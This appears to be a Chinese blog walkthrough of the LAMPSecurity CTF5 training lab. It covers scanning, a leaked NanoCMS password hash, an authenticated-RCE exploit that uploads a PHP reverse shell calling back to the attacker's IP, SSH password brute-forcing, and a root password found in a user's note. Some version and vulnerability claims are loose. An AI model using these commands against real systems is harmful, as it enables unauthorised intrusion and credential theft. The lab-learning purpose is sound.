LAMPSecurity: CTF5靶场渗透实战与漏洞利用分析 📅 发布时间:2026/7/11 19:28:36 👁️ 浏览次数: 1. 靶场环境初探与信息收集嘿朋友们今天咱们来玩点硬核的一起“攻克”LAMPSecurity的CTF5靶场。这个靶场在圈内挺有名的它模拟了一个典型的、老旧但“五脏俱全”的Linux服务器环境里面埋了不少“古董级”的漏洞非常适合用来练手感受一下十几年前的系统管理员可能面临的真实风险。我自己第一次打这个靶机的时候感觉就像在考古每一步都能发现一些“时代的眼泪”。咱们的目标很明确从外部啥也不知道到最终拿到那台服务器的最高权限root。整个过程我会掰开揉碎了讲保证你就算刚入门也能跟上节奏。首先你得把靶场环境搭起来。靶机镜像可以从VulnHub官网下载用VirtualBox或者VMware导入就行。这里有个小坑我踩过务必把攻击机比如你的Kali Linux和靶机的网络模式都设置成NAT。这样它们才会在同一个虚拟局域网里才能互相发现。如果你设成了桥接而你的物理网络又有隔离那可能就扫不到靶机了。设置好后启动两台虚拟机。第一步永远是“看路”也就是信息收集。咱们得先找到靶机在哪。打开Kali的终端用最基础的存活主机扫描命令nmap -sn 192.168.23.0/24这个命令会向192.168.23.0这个网段的所有IP地址发送探测包看看谁还“活着”。很快结果就出来了。通常你的Kali自己会占一个IP比如192.168.23.128另一个陌生的IP比如192.168.23.139就是我们的目标靶机了。记住这个IP后面所有操作都围着它转。找到目标后可不能贸然行动得先给它做个“全身扫描”。我们用Nmap的增强扫描把它的“家底”都探明白nmap -sV -T4 -p- -A 192.168.23.139这个命令参数有点多我解释一下-sV是探测服务版本-T4是加快扫描速度别用T5太猛了容易把服务搞崩-p-是扫描所有65535个端口-A是启用操作系统探测和脚本扫描。等上几分钟一份详细的“体检报告”就出来了。报告显示这台靶机简直是个“漏洞博物馆”开了好多老掉牙的服务。我挑几个重点的跟你说22端口SSH跑的是OpenSSH 4.72007年的版本。这种老版本SSH存在不少漏洞比如某些版本存在认证绕过或者代码执行漏洞是后续尝试暴力破解或利用的潜在入口。25端口SMTP和110/143端口POP3/IMAP邮件服务。版本都很古老可能存在缓冲区溢出或者配置不当导致的信息泄露。特别是SSL证书都过期十多年了中间人攻击一抓一个准。80端口HTTPApache 2.2.6同样是2007年的产品。这个版本的Apache有过一些严重的解析漏洞和目录遍历漏洞。这是我们的主攻方向因为Web界面通常暴露的信息最多。139/445端口SMBSamba 3.0.26。看到这个版本我眼睛都亮了这可是出了名的问题版本存在类似“永恒之蓝”的远程代码执行漏洞MS17-010的远亲。而且扫描显示它竟然允许匿名guest访问说不定能直接看到共享文件。3306端口MySQLMySQL 5.0.45。老版本的数据库可能存在弱口令或者远程注入漏洞。901端口Samba SWAT这是Samba的Web管理界面。如果能进去几乎就等于控制了Samba服务。看到这份列表你是不是有点头皮发麻别怕攻击面多意味着突破口也多。咱们的策略就是从最显眼的Web服务80端口开始一步步往里摸。2. Web目录枚举与NanoCMS漏洞初现既然决定从Web入手那就先打开浏览器访问一下http://192.168.23.139。结果……一片空白啥也没有。这很正常很多CTF靶场的主页就是空的线索都藏在子目录里。这时候就需要用到目录爆破工具了我习惯用gobuster速度快字典全。gobuster dir -u http://192.168.23.139/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -b 404,403,400这个命令的意思是针对目标URL使用指定的字典文件尝试寻找带有.php.txt.html扩展名的文件或目录并且忽略返回状态码为404、403、400的请求这些通常是没找到或者没权限。扫描结果很快给了我们几个有趣的路径/events/- 可能是一个活动页面。/mail/src/login.php和/squirrelmail/src/login.php- 两个Web邮件系统的登录入口。/phpmyadmin/- 大名鼎鼎的数据库管理工具如果能登录数据就任我们拿了。/~andy/-这个看起来最有意思。~符号在Web服务器里通常代表用户的家目录/~andy/很可能就是用户andy的个人网站目录。我们重点访问http://192.168.23.139/~andy/。页面显示这是一个简单的个人网站/博客。用whatweb工具快速识别一下技术栈whatweb -v http://192.168.23.139/~andy/输出信息提示这个站点很可能使用的是NanoCMS。这是一个非常轻量级、但也非常古老的内容管理系统。我的经验告诉我古老往往意味着安全问题多。立刻在Kali里搜索一下这个CMS的公开漏洞searchsploit nanocms果然返回结果显示存在一个名为“NanoCMS v0.4 - Authenticated Remote Code Execution (RCE)”的漏洞漏洞编号是50997.py。这正中我们下怀——一个需要认证的远程代码执行漏洞。但是我们目前没有后台的账号密码。别急这种老式CMS经常有信息泄露的毛病。回想一下常见的套路配置文件、备份文件、数据文件。我们尝试访问一些可能泄露信息的路径比如/data/、/admin/之类的。经过一番尝试我发现了一个关键文件http://192.168.23.139/~andy/data/pagesdata.txt访问这个链接直接下载了一个文本文件。打开一看里面有一行数据格式像是用户名:密码哈希值。我们看到了admin:9d2f75377ac0ab991d40c91fd27e52fd。用户名admin有了密码是加密后的哈希值。接下来就是破解这个哈希。先用hash-identifier工具判断一下类型hash-identifier 9d2f75377ac0ab991d40c91fd27e52fd工具推测它可能是MD5。MD5是一种虽然过时、但依然常见的哈希算法。我们可以使用在线破解网站如hashes.com或者本地的john、hashcat来破解。为了快速演示我们使用在线网站。将哈希值粘贴进去查询很快得到了明文密码shannon。太好了现在我们有了NanoCMS后台的登录凭证admin:shannon。这就像拿到了一把通往服务器内部的钥匙虽然还不是最高权限但已经成功突破了一道重要的防线。3. 利用NanoCMS RCE漏洞获取初始Shell现在我们手上有漏洞利用脚本50997.py和后台账号密码是时候发动攻击了。首先我们把漏洞利用脚本复制到当前目录并仔细研究一下searchsploit -m 50997.py cat 50997.py阅读脚本它的原理很清晰NanoCMS v0.4在认证用户创建新页面时对输入内容没有严格过滤并且页面默认以.php后缀保存。这意味着只要我们登录后台就可以创建一个内容为PHP代码的“页面”这个页面被服务器当成PHP文件执行从而实现远程代码执行。脚本需要两个核心参数目标地址和我们要上传的PHP恶意文件。我们需要准备一个PHP反向Shell。反向Shell的意思是让靶机主动连接我们攻击机上的一个监听端口从而给我们返回一个可交互的命令行。Kali系统贴心地为我们准备了很多现成的WebShell我们直接拿来改一下就行cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php然后用文本编辑器如mousepad或nano打开shell.php找到里面定义IP地址和端口的那两行通常是$ip和$port变量把它们改成我们Kali攻击机的IP和准备监听的端口。假设Kali IP是192.168.23.128我们打算用4444端口$ip 192.168.23.128; $port 4444;保存文件。在运行利用脚本之前务必先在另一个终端窗口启动Netcat监听器nc -lvvp 4444这个命令会让ncNetcat在本地4444端口安静地等待连接。现在万事俱备执行漏洞利用python3 50997.py http://192.168.23.139/~andy/ shell.php -u admin -p shannon -e我来解释一下参数-u和-p指定我们刚获得的账号密码-e参数告诉脚本在上传成功后自动去访问执行那个PHP文件。如果一切顺利你会看到脚本输出登录成功、文件上传成功的信息。紧接着你之前运行nc -lvvp 4444的那个终端窗口会突然“活”过来显示接收到一个来自靶机192.168.23.139的连接恭喜你你已经成功在靶机上获得了第一个立足点——一个低权限的Web Shell通常是以运行Apache服务的用户身份比如www-data或apache。这个Shell可能不太稳定我们首先把它升级成一个功能更完整的交互式Shellpython -c import pty; pty.spawn(/bin/bash)或者用更稳定的script命令。现在我们可以像在本地一样执行命令了。先看看自己是谁id输出可能是uid48(apache) gid48(apache) groups48(apache)。这说明我们当前是apache用户权限很低。但没关系我们已经成功从外部网络进入了系统内部这是最关键的一步。4. 横向移动与用户权限提升拿到初始Shell后我们进入了横向移动阶段目标是从当前的apache这类服务用户提升到某个普通系统用户比如andypatrick等。首先进行内部信息收集uname -a # 查看系统内核版本 lsb_release -a # 查看Linux发行版信息如果可用 ls /home # 查看系统中有哪些用户家目录执行ls /home我们发现了好几个用户目录amy,andy,bob,patrick,sally。我们的当前路径就在/home/andy下的网站目录里但我们现在是apache用户无法直接读取其他用户的家目录。一种常见的思路是尝试SSH爆破。我们可以用hydra来爆破SSH密码。先准备一个用户名字典比如把刚才看到的五个用户名存进user.txt和一个密码字典Kali自带的rockyou.txt非常强大hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.23.139 ssh -vV -f但是这里我遇到了一个坑你也可能会遇到版本兼容性问题。靶机的OpenSSH版本太老只支持旧的、不安全的SSH算法如ssh-rsa, ssh-dss而新版的Kali默认禁用了这些算法以提升安全性。这导致hydra根本无法与靶机建立SSH连接更别说爆破了。怎么办呢我们可以换用其他兼容性更好的工具比如medusa或者ncrack。这里以medusa为例medusa -h 192.168.23.139 -U user.txt -P /usr/share/wordlists/rockyou.txt -M ssh -n 22经过一段时间的爆破老机器跑得慢耐心点我们成功得到了一个有效凭证用户amy的密码是dolphins。立刻尝试切换用户su amy输入密码dolphins成功现在我们变成了amy用户。执行id命令可以看到我们已经脱离了服务用户组成为了一个真正的系统用户。权限大了不少可以查看amy家目录下的文件也可以尝试读取其他用户的可读文件。接下来我们尝试向更高的权限——root发起冲击。首先看看amy用户有没有特殊的sudo权限sudo -l输入amy的密码后系统提示amy不在sudoers文件中意味着她不能通过sudo提权。这条路暂时走不通。5. 权限提升与最终Root获取在Linux系统中提权的方法五花八门。当sudo不行时我们就要从其他方面找线索。一个很好的习惯是检查系统上运行了哪些不常见的服务、有没有带有SUID位的特殊文件、有没有计划任务cron job等等。但在这个靶场里有一条更直接的线索。我们之前看到有用户patrick。作为amy我们可以尝试查看patrick用户目录下有没有什么可读的文件。有时候用户会在自己的目录里留下便签、配置文件里面可能包含密码。ls -la /home/patrick/我们发现了一个隐藏目录.tomboy。Tomboy是一个桌面便签软件。进去看看ls -la /home/patrick/.tomboy/ cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note打开那个.note文件内容简直让人喜出望外里面赫然写着类似“我的root密码是50$cent”这样的文字具体密码可能不同但格式类似。这简直是管理员犯的经典错误——把敏感信息写在便签里。现在我们有了root用户的密码。直接切换su root输入从便签里找到的密码比如50$cent。回车之后命令提示符从$变成了#id命令显示uid0(root)。我们成功了拿到了这台靶机的最高管理员权限。最后我们可以去/root目录下看看通常CTF的flag文件就放在这里ls -la /root cat /root/flag.txt 或 cat /root/proof.txt读到flag内容整个渗透测试过程就圆满结束了。回顾整个流程我们从外围信息收集开始通过Web目录扫描发现NanoCMS利用其信息泄露漏洞获取后台密码再结合认证RCE漏洞拿到初始Shell。接着通过系统内用户枚举和SSH密码爆破实现了从Web服务用户到系统普通用户的横向移动。最后通过查看其他用户遗留的敏感信息便签文件意外地获得了root密码从而轻松完成提权。这个靶场非常经典地展示了“漏洞链”的利用多个中低危漏洞串联起来最终导致整个系统被攻陷。它也提醒我们安全是一个整体任何一个环节的疏忽比如使用弱密码、老旧软件、或者随意存放敏感信息都可能成为攻击者突破的入口。
Qwen3-TTS-12Hz语音克隆效果:不同年龄/性别参考音的音色迁移能力 Qwen3-TTS-12Hz语音克隆效果:不同年龄/性别参考音的音色迁移能力 获取更多AI镜像 想探索更多AI镜像和应用场景?访问 CSDN星图镜像广场,提供丰富的预置镜像,覆盖大模型推理、图像生成、视频生成、模型微调等多个领域,支… 2026/7/7 23:11:59
大数据Hadoop毕设选题指南:从零构建一个可运行的分布式日志分析系统 最近在帮学弟学妹们看大数据方向的毕业设计,发现一个挺普遍的现象:选题要么是“基于Hadoop的电影推荐系统”这种大而空,要么是“HDFS文件管理”这种过于简单。大家好像都知道要用Hadoop,但具体要做什么、怎么做成一个完整的、能跑… 2026/5/17 8:12:07
ChatTTS WebUI API 深度解析:从技术原理到生产环境部署 最近在做一个需要语音播报功能的项目,之前用的一些在线语音合成API,要么费用不低,要么音质和灵活性达不到要求。于是把目光投向了开源方案,一番折腾后,ChatTTS 以其出色的自然度和可控性进入了我的视野。但直接使用模型… 2026/7/11 7:52:36
别再盲盒抽卡!内容创作者如何搭建专属 Seedance 2.0 视频提示词模板库? AI 视频生成正迅速步入工业化量产时代。作为近期备受瞩目的视频生成大模型,Seedance 2.0 凭借出色的物理规律理解和原生音画同步能力,成为不少创作者的生产力工具。然而,许多创作者在使用 yingcaiai.com(AI 模型聚合平台ÿ… 2026/7/12 14:36:23
DCIM 3.0 架构解析:从1.0集成化到3.0云化AI化的5级演进路径 DCIM 3.0 架构解析:从1.0集成化到3.0云化AI化的5级演进路径数据中心基础设施管理(DCIM)技术正经历从基础监控到智能运营的质变。当L5级系统自动调节设备负载时,制冷能耗可降低40%——这标志着数据中心管理已进入算法驱动时代。本文… 2026/7/12 14:36:23
AD7490与PIC18LF26K42构建高精度数据采集系统 1. AD7490与PIC18LF26K42的硬件选型解析在嵌入式系统设计中,模拟信号采集是连接物理世界与数字系统的关键环节。AD7490作为ADI公司推出的16位逐次逼近型(SAR)ADC芯片,与Microchip的PIC18LF26K42单片机组合,能够构建高性价比的数据采集系统。这… 2026/7/12 14:34:22
SSMS 22 性能调优:3 项关键设置提升大型数据库查询效率 20% SSMS 22 性能调优:3 项关键设置提升大型数据库查询效率 20% 当数据库表规模突破10GB门槛时,即使是经验丰富的DBA也会面临查询响应缓慢的困扰。许多开发者习惯将性能问题归咎于SQL语句或索引设计,却忽略了SSMS工具本身的配置优化空间。事实上&… 2026/7/12 14:32:21
终极指南:如何在5分钟内掌握CAN数据库格式转换 终极指南:如何在5分钟内掌握CAN数据库格式转换 【免费下载链接】canmatrix Converting Can (Controller Area Network) Database Formats .arxml .dbc .dbf .kcd ... 项目地址: https://gitcode.com/gh_mirrors/ca/canmatrix canmatrix是一个强大的Python包&… 2026/7/12 14:32:21
1080p、2K、4K 分辨率选购避坑:从像素定义到屏幕实测的 3 个关键误区 1080p、2K、4K分辨率选购避坑指南:从像素定义到屏幕实测的3个关键误区 当你站在电器卖场的显示器专区,面对琳琅满目的"4K超清"、"2K电竞"、"1080p全高清"标签时,是否曾困惑这些数字背后的真实含义?… 2026/7/12 14:30:20
Git reset 与 revert 深度对比:5个关键差异与 3 种典型应用场景 Git Reset 与 Revert 深度对比:5个关键差异与3种典型应用场景在团队协作开发中,代码版本管理如同行走钢丝——一步失误可能导致整个项目陷入混乱。作为Git进阶用户,你是否曾在深夜面对错误的提交束手无策?是否在强制推送后收到同事… 2026/7/12 0:01:13
GitHub 学生包申请避坑:5个常见失败原因与开发者工具调试方案 GitHub 学生包申请技术排障指南:5个高频失败场景与开发者工具实战方案第一次尝试申请GitHub学生包时,我盯着屏幕上那个不断转圈的加载动画整整15分钟,最终只等来了一行冰冷的错误提示。这可能是许多开发者共同的经历——明明按照教程操作&… 2026/7/12 0:01:13
冒烟测试用例设计规范:5%-10%覆盖率下的3类核心场景与执行标准 冒烟测试用例设计的黄金法则:5%-10%覆盖率下的精准筛选策略在快节奏的敏捷开发环境中,冒烟测试作为质量保障的第一道防线,其重要性不言而喻。当测试资源有限而时间紧迫时,如何从海量测试用例中精准筛选出那关键的5%-10%࿰… 2026/7/12 0:03:14
Git reset 与 revert 深度对比:5个关键差异与 3 种典型应用场景 Git Reset 与 Revert 深度对比:5个关键差异与3种典型应用场景在团队协作开发中,代码版本管理如同行走钢丝——一步失误可能导致整个项目陷入混乱。作为Git进阶用户,你是否曾在深夜面对错误的提交束手无策?是否在强制推送后收到同事… 2026/7/12 0:01:13
GitHub 学生包申请避坑:5个常见失败原因与开发者工具调试方案 GitHub 学生包申请技术排障指南:5个高频失败场景与开发者工具实战方案第一次尝试申请GitHub学生包时,我盯着屏幕上那个不断转圈的加载动画整整15分钟,最终只等来了一行冰冷的错误提示。这可能是许多开发者共同的经历——明明按照教程操作&… 2026/7/12 0:01:13
冒烟测试用例设计规范:5%-10%覆盖率下的3类核心场景与执行标准 冒烟测试用例设计的黄金法则:5%-10%覆盖率下的精准筛选策略在快节奏的敏捷开发环境中,冒烟测试作为质量保障的第一道防线,其重要性不言而喻。当测试资源有限而时间紧迫时,如何从海量测试用例中精准筛选出那关键的5%-10%࿰… 2026/7/12 0:03:14